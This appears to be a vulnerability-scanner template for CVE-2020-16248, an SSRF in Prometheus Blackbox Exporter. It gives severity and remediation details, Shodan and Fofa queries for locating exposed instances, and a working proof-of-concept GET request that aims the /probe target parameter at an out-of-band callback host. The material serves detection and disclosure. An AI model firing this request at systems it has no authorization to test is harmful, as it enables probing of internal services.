| Title | Prometheus Blackbox Exporter - Server-Side Request Forgery (SSRF) |
|---|---|
| Author | DhiyaneshDk |
| Severity | Medium |
| Impact | Attackers can perform SSRF attacks, potentially accessing internal services or causing denial of service. |
| Remediation | Update to version 0.17.1 or later to fix the vulnerability. |
| CVSS Score | 5.8 |
| EPSS Score | 0.03527 |
| CVE ID | CVE-2020-16248 |
| CWE ID | CWE-918 |
| Shodan Query | title:"Blackbox Exporter" |
| Fofa Query | title="Blackbox Exporter" |
| Tags | cve cve2020 ssrf prometheus blackbox-exporter oast oob |
Prometheus Blackbox Exporter through 0.17.0 contains a server-side request forgery caused by unsanitized target parameter in /probe, letting attackers perform SSRF attacks, exploit requires sending crafted target parameter.
GET /probe?target=d5s0pchle0o4qs1klkf09wk6wc34mpdcd.oast.fun&module=http_2xx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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